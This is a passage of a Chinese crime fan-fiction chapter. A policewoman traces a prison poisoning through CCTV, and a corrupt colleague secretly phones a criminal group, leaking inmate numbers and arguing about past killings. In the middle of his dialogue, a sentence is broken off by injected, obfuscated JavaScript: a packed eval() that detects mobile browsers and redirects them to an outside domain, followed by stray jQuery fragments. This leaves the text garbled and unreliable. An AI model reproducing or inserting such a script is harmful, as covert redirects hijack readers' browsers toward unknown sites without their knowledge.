结合监狱的日常作息表，和二监送来的监控，周舒桐二人轻而易举的就还原了幺鸡当天的全部行程。


    早起点名，洗漱吃饭，上午是正常的思想教育和学习，下午劳改——就是之前那个狱警和她讲的，给食品包装贴标签的活——随后就是晚餐以及自由活动，九点准时熄灯睡觉。


    监狱里都是三百六十度无死角的监控，唯一一处没监控的厕所，还是必须要狱警陪同的情况下才能去。监控里，幺鸡一直都处于一个非常正常的状态，没有任何异常，甚至没人知道那瓶毒素是什么时候出现在他的鞋底的。


    从宿舍监控上看，那个小瓶子是在熄灯以后，被他偷偷从鞋里拿出来的，很明显，那东西一直藏在那。但是回看整个监控，除了下午劳改期间他申请去过一次厕所以外，没有一分一秒显示他有接触过自己的鞋，甚至连弯腰的行为都没出现。


    很简单的推测：那瓶毒物很可能是提前被人藏到了厕所的某个位置，幺鸡再去的时候轻而易举的拿到，塞到了鞋里，一直到晚上才拿出来使用。


    想要从这个角度排查是谁放的东西，那肯定是没数了——监狱里的厕所，一层就那么几间，且不说光是今天就有多少人进去过，万一这毒物是昨天被人放进去的呢？前天呢？大前天呢？难不成把所有人都查一遍吗？


    周舒桐一脸凝重的叉起腰，继续她的思路。一瓶毒素，在监狱内一定是弄不来的，这东西一定来自外面——外面的东西想要进去，那一定避不开狱警两个字。


    这么说起来，狱警里一定有一个共犯。


    不行，还是没法查。二监规模大，自然警员也多，这么一个一个查下去还是没完没了。


    再换一个思路呢？周舒桐左思右想，试图模拟幺鸡的心理。


    他为什么会突然自杀呢？对他来说，横竖也就是一个月不到的事儿，理论上讲，不应该有东西再能威胁到他了……他的家人？自从幺鸡入狱以后，他家里人一次也没来看过他，大概他父母也当自己没这个儿子了。而幺鸡看起来也不是那种有良心的人，会孝心大发，为了保护自己父母毅然决然赴死的那种。


    一个将死之人，还有什么东西能威胁到他呢？


    思路好像又走进了死胡同，周舒桐再一次尝试发散思维。


    幺鸡为什么选择今天死呢？


    为什么不是昨天，为什么不是明天，偏偏是今天？这件事和自己来二监提审何英才究竟有没有关联？


    从时间线上来看，幺鸡上厕所，也就是得到毒药的时间，差不多就是周巡被人劫车的前后。那也就是说，毒物是在这之前就准备好了的。这其中会有关联吗？


    等等，时间——周舒桐忽然想到了什么，从幺鸡的角度来看，他一定不知道外面发生了什么事，不论是他服毒自尽，还是去厕所取毒药这一行为，都一定是有人授意的。幺鸡一定要和什么人有物理接触，不论是说几句话的时间，还是递个纸条的功夫，必须要有人告诉他毒药在哪，要怎么做。


    小周又老老实实的点开监控，准备从幺鸡上厕所的那个时间节点往前倒推一遍。


    “……还看啊，”宋博在一旁困的直点头，“还是你们这年轻人能熬，我是看不动了……”


    话虽如此，但他还是凑过来，和周舒桐一起盯着监控。


    过了一会，他略带好奇的开口：“你这记什么呢？”


    “哦，犯人编号。”周舒桐直言不讳，“我想把每个和幺鸡有过接触的人记下来，或许能从他们中间查出点线索。”


    宋博看了两眼她笔记本上的那一串数字：“这是今天的？”


    “对的。我正准备看昨天的监控，你要一起吗？”


    “不了，我不行了，我眼皮打架。”宋警官打了个哈欠，“你先看吧，我去厕所洗把脸。”


    宋警官跟一旁同样昏昏欲睡的督查警员打了个招呼，随后一脸迷迷瞪瞪的样子站起身来，十分缓慢的伸了个懒腰，随后迈着沉重的步伐推门出去了。


    他一步三晃的进了厕所，眼神忽然清明起来。他贴着厕所的大门侧耳倾听了几秒，确定没有人跟在他身后，随后立刻推开了每一个隔间，确定厕所里除了他没有旁人，立刻走到最里面靠窗的位置，从内兜里摸出来个方块。


    仔细一看才看出来，是个十分老旧的老人机，看着有些年头了，早年报废的那种。开机后，屏幕上的显示精简的不能再精简，很明显是被刷过系统。


    他打开通讯界面，熟练地输入一串数字，拨打过去。


    凌晨两点多，应该是休息的点，但这个电话几乎是被秒接起来的。


    “喂？是我。”宋博先开口，“你们要找的那个人，我有点线索。”


    电话那头是个很清脆的男声：“二监里的？”


    “是。”他谨慎的盯着大门的方向，“你拿笔记着，B8932，B0237，C2705，C8327，C2048，五个人。”


    沙沙的声音传来，大概是对面在写字，几秒后，对方开口：“没了？”


    “目前是这些，再有我会再联系你，你们自己先查着。”


    “宋警官。”对面语气里似乎有些不满，“我们养你，可不是让你送这些边角料。”


    “养你大爷。”宋博没什么好气，“少在这跟我装，你们一开始本来就是让我送点边边角角的情报，说查不到我我才做的——医院的事我还没找你们算账！”


    那男声似乎在回忆他口中那个“医院的事”，随后才想起来，说得大约就是他在医院里给孟潇顺了个护士卡那次。


    “医院那头，不是没查到你吗？”


    “别在这避重就轻。说是顺个卡，把人放进来，结果呢？闹出那么大动静，万一抓到我了你们知不知道这是多大的罪名？”


    那人笑了一声：“我以为在答应和我们合作之前，你早就想明白自己在走什么路了。”


    “最开始说的是情报！是传递情报！谁他妈要跟你们一块杀人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498301|159589||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ！”宋博尽力压低自己的声音，“弄死个金山就算了，还他妈杀的是关宏峰——我告诉你们，关宏峰死了你们早晚要完蛋，周巡不会放过你们的，市局也不可能轻易息事宁人，这雷要是炸到我头上你们一个都别想跑！”


    对面沉默了一会，开口道：“……既然如此，还有个事要问你。”


    “你有病吧？”宋博气的想咬人，“还有什么破事儿？”


    “你在队里呆这么久，有没有听周巡讲过213的案子？”


    宋警官不明所以，一时间不知道为什么要提这个案子：“没怎么讲过，但他经常调213的物证来看，案卷也在他手里。”


    那人追问：“你看过吗？”


    “物证看过一次——怎么了？为什么问这个？”


    “周巡有没有透露过什么特别的东西，和213案有关……比如人或事，或者什么东西？”


    宋博越听越迷糊：“能不能直说。”


    “……一个U盘。”对面没有继续隐瞒，“你有没有见过类似的东西，或者周巡有没有神神秘秘的藏过，或者交给什么人？”


    宋博认真地回忆了几秒，最终放弃：“没有。我和他没那么熟，U盘才多大点，想藏太容易了吧？”


    “好吧。”对面没在为难，“还有一件事，我听说二监那边死了个人，现在在你们队里。”


    “对。”


    “发现这件事的警察，是不是你们队里那个叫周舒桐的？”


    宋博警惕起来：“……你想做什么？”


    “她现在查到什么地步了？”


    “你不会想对她下手吧？”宋警官身子都绷直了，“那就一丫头片子，刚转正才多久，查不到什么东西。她下午去二监是督查分的任务，只是核查我们队里以前的案子，赶巧了而已。”


    “至于这么紧张吗？我不是那么丧心病狂的人。”男人又笑了一声，“我只是希望了解她查到什么地步了，如果不深自然不用我出手，宋警官你适当干扰一下不就可以了？”


    话是这么说，但打了这么长时间的交道，宋博完全听出来他是什么意思：“我警告你，她是刘长永的女儿，烈士遗孤，她如果出什么事局里一样会彻查，你最好别动什么歪心思。”


    “宋警官……”


    “我告诉你，我不会再给你们干活了。”宋博斩钉截铁地说，“二监里那个是最后一次，我帮你们找到是谁，剩下的你们自己处理。”


    “……我想你误会了，”电话那头的语气听起来很强硬，“我没有在和你商量。”


    “又来这套，有意思吗？”宋博冷笑一声，“如果你不懂法，我可以告诉你，我现在参与的这些事情都是有胁迫性质的，懂吗？就算真的东窗事发，也不至于死刑，撑死蹲一辈子大牢。反正我光脚的不怕穿鞋的，大不了这点破事儿我全捅上去，咱们鱼死网破。”


    男人笑了一声，完全无视了他的话：“明天下午，老地方见面。你还有时间考虑。”